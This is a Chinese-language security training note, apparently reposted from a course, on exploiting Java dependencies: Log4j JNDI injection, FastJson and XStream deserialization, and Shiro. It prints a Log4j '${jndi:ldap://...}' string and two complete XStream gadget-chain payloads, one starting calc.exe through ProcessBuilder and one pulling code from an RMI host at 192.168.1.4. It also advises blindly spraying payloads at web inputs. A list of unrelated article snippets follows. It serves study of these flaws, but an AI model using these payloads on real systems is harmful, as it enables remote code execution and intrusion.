第48天:Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式

#知识点

1、安全开发-JavaEE-第三方依赖开发安全

2、安全开发-JavaEE-数据转换&FastJson&XStream

3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、Log4j

一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

1、Maven引用

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>

</dependency>

2、接受输入值

3、Log4j错误处理

String code="${java:os}";

log.error("{}",code);

4、Jndi注入RCE执行

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

logger.error("{}",exp);

演示:2.14.1版本

结论:尝试输出日志时可利用JNDI注入触发RCE

利用:黑盒在各种地方插入 白盒看哪里有调用(见图)

黑盒:打开一个网页,看到有上传参数的点,无脑上传log4j的payload,因为不知道代码,也不知道是哪里接受恶意参数,只能无脑上传来测试

白盒:做代码审计看哪里调用了,会引发log4j漏洞的地方 

参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

二、FastJson不同版本漏洞不一样

一个阿里巴巴开发的Java库,提供了Java对象与JSON相互转换

1、fastjson1.2.24的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>

</dependency>

2、fastjson1.2.25的漏洞

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.25</version>

</dependency>

3、序列化方法:

JSON.toJSONString(),返回字符串;

JSON.toJSONBytes(),返回byte数组;

4、反序列化方法:

JSON.parseObject(),返回JsonObject;

JSON.parse(),返回Object;

JSON.parseArray(), 返回JSONArray;

将JSON对象转换为java对象:JSON.toJavaObject();

将JSON对象写入write流:JSON.writeJSONString();

6、常用:

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

7、演示:1.2.24及1.2.25版本

结论:反序列化时会调用类里的get及set方法

利用:已知类的调用方法 自带类的调用链固定版本的CVE(见图)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露astjson及其版本

前提是Java写的应用,看burpsuite数据包传递JSON数据,尝试用payload替换json数据,无脑payload

 白盒:java调用fastjson库,并知道版本,代码审计看调用方法如parse(),parseObject()和可控变量

参考:https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

三、XStream

一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和XML文档相互转换)。

1、Xstream1.4.5

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.5</version>

</dependency>

2、Xstream1.4.15

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.15</version>

</dependency>

3、序列化Car类:

Car car = new Car("Ferrari", 4000000);

XStream xStream = new XStream();

String xml = xStream.toXML(car);

System.out.print(xml);

4、反序列化Car类:

String xml = "上述序列化类的数据";

XStream xStream = new XStream();

xStream.fromXML(xml);

结论:反序列化时会调用类里的readObject方法(类需继承接口)

参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

5、已知类的调用方法:(也就是上面的Car类被序列化反序列化,且继承了serializable,类中有readObject方法->:下面的payload才生效,条件比较苛刻)

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +

" <com.example.xstreamdemo.Car>\n" +  //Car类,继承了serializable,类中有readObject方法

" <default>\n" +

" <price>4000000</price>\n" +

" <name>Ferrari</name>\n" +

" </default>\n" +

" </com.example.xstreamdemo.Car>\n" +

"</com.example.xstreamdemo.Car>";

6、自带类的调用链固定版本的CVE

①适用xstream1.4.5版本,不适用xstream1.4.15版本,

String payload = "<sorted-set>\n" +

" <dynamic-proxy>\n" +

" <interface>java.lang.Comparable</interface>\n" +

" <handler class=\"java.beans.EventHandler\">\n" +

" <target class=\"java.lang.ProcessBuilder\">\n" +

" <command>\n" +

" <string>calc.exe</string>\n" +

" </command>\n" +

" </target>\n" +

" <action>start</action>\n" +

" </handler>\n" +

" </dynamic-proxy>\n" +

"</sorted-set>";

②适用xstream1.4.15版本

String poc="<java.util.PriorityQueue serialization='custom'>\n" +

" <unserializable-parents/>\n" +

" <java.util.PriorityQueue>\n" +

" <default>\n" +

" <size>2</size>\n" +

" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +

" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +

" <packet>\n" +

" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +

" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +

" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +

" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +

" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +

" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +

" <uriProperties/>\n" +

" <attributeProperties/>\n" +

" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +

" <getter>\n" +

" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +

" <name>getDatabaseMetaData</name>\n" +

" <parameter-types/>\n" +

" </getter>\n" +

" </inheritedAttWildcard>\n" +

" </bi>\n" +

" <tagName/>\n" +

" <context>\n" +

" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +

" <outer-class reference='../..'/>\n" +

" </marshallerPool>\n" +

" <nameList>\n" +

" <nsUriCannotBeDefaulted>\n" +

" <boolean>true</boolean>\n" +

" </nsUriCannotBeDefaulted>\n" +

" <namespaceURIs>\n" +

" <string>1</string>\n" +

" </namespaceURIs>\n" +

" <localNames>\n" +

" <string>UTF-8</string>\n" +

" </localNames>\n" +

" </nameList>\n" +

" </context>\n" +

" </bridge>\n" +

" </bridge>\n" +

" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +

" <javax.sql.rowset.BaseRowSet>\n" +

" <default>\n" +

" <concurrency>1008</concurrency>\n" +

" <escapeProcessing>true</escapeProcessing>\n" +

" <fetchDir>1000</fetchDir>\n" +

" <fetchSize>0</fetchSize>\n" +

" <isolation>2</isolation>\n" +

" <maxFieldSize>0</maxFieldSize>\n" +

" <maxRows>0</maxRows>\n" +

" <queryTimeout>0</queryTimeout>\n" +

" <readOnly>true</readOnly>\n" +

" <rowSetType>1004</rowSetType>\n" +

" <showDeleted>false</showDeleted>\n" +

" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" + //该payload需在此处生成JNDI的注入语句

" <params/>\n" +

" </default>\n" +

" </javax.sql.rowset.BaseRowSet>\n" +

" <com.sun.rowset.JdbcRowSetImpl>\n" +

" <default>\n" +

" <iMatchColumns>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" <int>-1</int>\n" +

" </iMatchColumns>\n" +

" <strMatchColumns>\n" +

" <string>foo</string>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" <null/>\n" +

" </strMatchColumns>\n" +

" </default>\n" +

" </com.sun.rowset.JdbcRowSetImpl>\n" +

" </jaxbObject>\n" +

" </dataSource>\n" +

" </message>\n" +

" <satellites/>\n" +

" <invocationProperties/>\n" +

" </packet>\n" +

" </indexMap>\n" +

" </comparator>\n" +

" </default>\n" +

" <int>3</int>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +

" </java.util.PriorityQueue>\n" +

"</java.util.PriorityQueue>";

特别注意:

以上payload用到了JNDI注入,该注入也有版本限制(这个版本限制指的是java运行程序使用的jdk版本限制)->造成我们白盒/黑盒发现了该Java代码使用xstream组件,也知道该组件的版本,并从网上找到了该版本xstream的payload->但是payloa执行不成功->分析:很有可能是jkd版本不对(该paoload里面有JNDI注入,该注入受jdk版本限制)

黑盒:

①看抓包报错,url访问报错,工具扫描等,能不能暴露Xstream及其版本

前提是Java写的应用,看burpsuite数据包传递XML数据,尝试用payload替换jxml数据,无脑payload

白盒:看调用方法和可控变量

四、Shiro

一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。

开发技术:利用AI提示写一个

结论:配置不当或版本安全漏洞

利用:固定版本的CVE利用(见图)

shiro工具利用:

黑盒:看身份验证数据包->是否有关键字Rememberme->判定网站使用了shiro

白盒:看版本及安全问题

参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/71020.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript——前端基础3

目录 JavaScript简介 优点 可做的事情 运行 第一个JavaScript程序 搭建开发环境 安装的软件 操作 在浏览器中使用JavaScript文件 分离JS 使用node运行JS文件 语法 变量与常量 原生数据类型 模板字符串 字符串的内置方法 数组 对象 对象数组和JSON if条件语…

坐标变换及视图变换和透视变换(相机透视模型)

文章目录 2D transformationScaleReflectionShear&#xff08;切变&#xff09;Rotation around originTranslationReverse变换顺序复杂变换的分解 齐次坐标&#xff08;Homogenous Coordinates&#xff09;3D transformationScale&TranslationRotation Viewing / Camera t…

DBGPT安装部署使用

简介 DB-GPT是一个开源的AI原生数据应用开发框架(AI Native Data App Development framework with AWEL(Agentic Workflow Expression Language) and Agents)。 目的是构建大模型领域的基础设施&#xff0c;通过开发多模型管理(SMMF)、Text2SQL效果优化、RAG框架以及优化、Mul…

【windows driver】 开发环境简明安装教程

一、下载路径 https://learn.microsoft.com/en-us/windows-hardware/drivers/other-wdk-downloads 二、安装步骤&#xff1a; 1、安装Visual Studio IDE 笔者建议安装最新版本&#xff0c;可以向下兼容。发文截止到目前&#xff0c;VS2022是首选&#xff0c;当前笔者由于项…

回文重新排序

回文串就两种情况&#xff0c;一种是有一个奇数个的字母&#xff0c;另一种是没有的。所以我们需要统计出题目给出的字母是否为奇数个&#xff0c;且奇数个只能有一个&#xff0c;如果超过一个就不能构成回文串了。 #include<iostream> #include<string> #include…

如何在docker上部署java服务

目录结构 首先 Dockerfile FROM bladex/alpine-java:openjdk17_cn_slimMAINTAINER admin@rsz.comENV TZ=Asia/ShanghaiRUN ln -sf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezoneRUN mkdir -p /xhWORKDIR /xhEXPOSE 8106ADD ./blade-system.…

FinRobot:一个使用大型语言模型进行金融分析的开源AI代理平台

文章目录 前言一、生态系统1. 金融AI代理&#xff08;Financial AI Agents&#xff09;2. 金融大型语言模型&#xff08;Financial LLMs&#xff09;3. LLMOps4. 数据操作&#xff08;DataOps&#xff09;5. 多源LLM基础模型&#xff08;Multi-Source LLM Foundation Models&am…

《SegFace: Face Segmentation of Long-Tail Classes》论文分享(侵删)

author{Kartik Narayan and Vibashan VS and Vishal M. Patel} 原文链接&#xff1a;[2412.08647] SegFace: Face Segmentation of Long-Tail Classes 摘要 人脸解析是指将人脸语义分割为眼睛、鼻子、头发等关键面部区域。它是各种高级应用程序的先决条件&#xff0c;包括人脸…

readline模块详解!!【Node.js】

‌“书到用时方恨少&#xff0c;事非经过不知难。”‌ —— 陆游 目录 ‌readline 是什么&#xff1f;‌基本用法&#xff1a;‌创建 Interface 类&#xff1a;核心流程‌&#xff1a; ‌Interface 类的关键事件&#xff1a;line&#xff1a;close&#xff1a;pause&#xff1a…

基于POI的Excel下拉框自动搜索,包括数据验证的单列删除

目录 目标 例子 1.搜索下拉框页 2.数据源页 3.效果 代码以及注意事项 1.代码 2.注意事项 1.基于Excel的话&#xff0c;相当于加入了一个【数据验证】 2.代码中的一些方法说明 目标 期望在Excel利用代码创建具备自动搜索功能的下拉框 例子 1.搜索下拉框页 2.数据源…

UWB人员定位:精准、高效、安全的智能管理解决方案

在现代企业管理、工业生产、安全监测等领域&#xff0c;UWB&#xff08;超宽带&#xff09;人员定位系统正逐步成为高精度定位技术的首选。相较于传统的GPS、Wi-Fi、蓝牙等定位方式&#xff0c;UWB具备厘米级高精度、低延迟、高安全性、抗干扰强等突出优势&#xff0c;能够实现…

如何在Apple不再支持的MacOS上安装Homebrew

手头有一台2012年产的Macbook Pro&#xff0c;系统版本停留在了10.15.7&#xff08;2020年9月24日发布的&#xff09;。MacOS 11及后续的版本都无法安装到这台老旧的电脑上。想通过pkg安装Homebrew&#xff0c;发现Homebrew releases里最新的pkg安装包不支持MacOS 10.15.7&…

某个设备的RJ45网口接头为何不可连接任何POE设备

某个设备的RJ45网口接头不可连接任何POE设备 1.POE设备是什么&#xff1f; POE设备是指支持通过以太网线传输电力和数据的设备&#xff0c;即“Power over Ethernet”&#xff08;PoE&#xff09;技术的设备。这种技术允许网络设备在传输数据的同时&#xff0c;通过标准的RJ4…

【线性代数的理解】 为什么说线性代数研究的是空间变换?旋转矩阵坐标转换矩阵

注&#xff1a; 在线性代数中 &#xff0c;常常不把点看成是点&#xff0c;而是看成是一个由原点出发的向量。所以&#xff0c;点的坐标相当于是向量的坐标。正方形&#xff08;图中灰色图形&#xff09;可以看成是由一大堆向量组成的图形&#xff0c;对这一堆向量进行A变换&a…

Cursor+pycharm接入Codeuim(免费版),Tab自动补全功能平替

如题&#xff0c;笔者在Cursor中使用pycharm写python程序&#xff0c;试用期到了Tab自动补全功能就不能用了&#xff0c;安装Codeuim插件可以代替这个功能。步骤如下&#xff1a; 1. 在应用商店中搜索扩展Codeuim&#xff0c;下载安装 2. 安装完成后左下角会弹出提示框&#x…

操作系统知识点12

1.在操作系统的结构设计中&#xff0c;采用层次结构的操作系统其最大优点是把整体问题局部化 2.非特权指令是指操作系统和用户均可以使用的指令 3.向处理器发出的中断信号称为中断请求 4.轮转法RR是单纯基于时间片考虑的 5.当进程处于就绪状态时&#xff0c;表示进程已获得…

STM32学习——RTC实时时钟(BKP与RTC外设)

RTC实时时钟 RTC实时时钟 想记录或读取日期和事件&#xff0c;就可以通过操作RTC实现 RTC与BKP和PWR经常同时出现 一般情况下&#xff0c;VBTA是电池供电口&#xff0c;需要接备用电池 在BKP备份寄存器写入两个数据&#xff0c;然后再读出之后显示&#xff0c;BKP的数据&a…

C# Unity 唐老狮 No.2 模拟面试题

本文章不作任何商业用途 仅作学习与交流 安利唐老狮与其他老师合作的网站,内有大量免费资源和优质付费资源,我入门就是看唐老师的课程 打好坚实的基础非常非常重要: Unity课程 - 游习堂 - 唐老狮创立的游戏开发在线学习平台 - Powered By EduSoho 如果你发现了文章内特殊的字体…

软件工程应试复习(考试折磨版)

针对学校软件工程考试&#xff0c;参考教材《软件工程导论&#xff08;第6版&#xff09;》1-8章 学习的艺术&#xff1a;不断地尝试&#xff0c;我一定会找到高效用的方法&#xff0c;让学习变成一门艺术&#xff0c;从应试备考中解救出我的时间同胞们。 好嘞&#xff01;既然…

针对红警之类老游戏适用WIN10和11的补丁cnc-ddraw7.1汉化版

### 经典游戏兼容补丁 cnc-ddraw 7.1 汉化版使用指南 &#xff08;适用于《红色警戒》《命令与征服》等老游戏在Win10/Win11系统运行&#xff09; 参考原文&#xff1a;针对红警之类老游戏适用WIN10和11的补丁cnc-ddraw7.1汉化版 #### 一、补丁核心功能 **解决痛点** …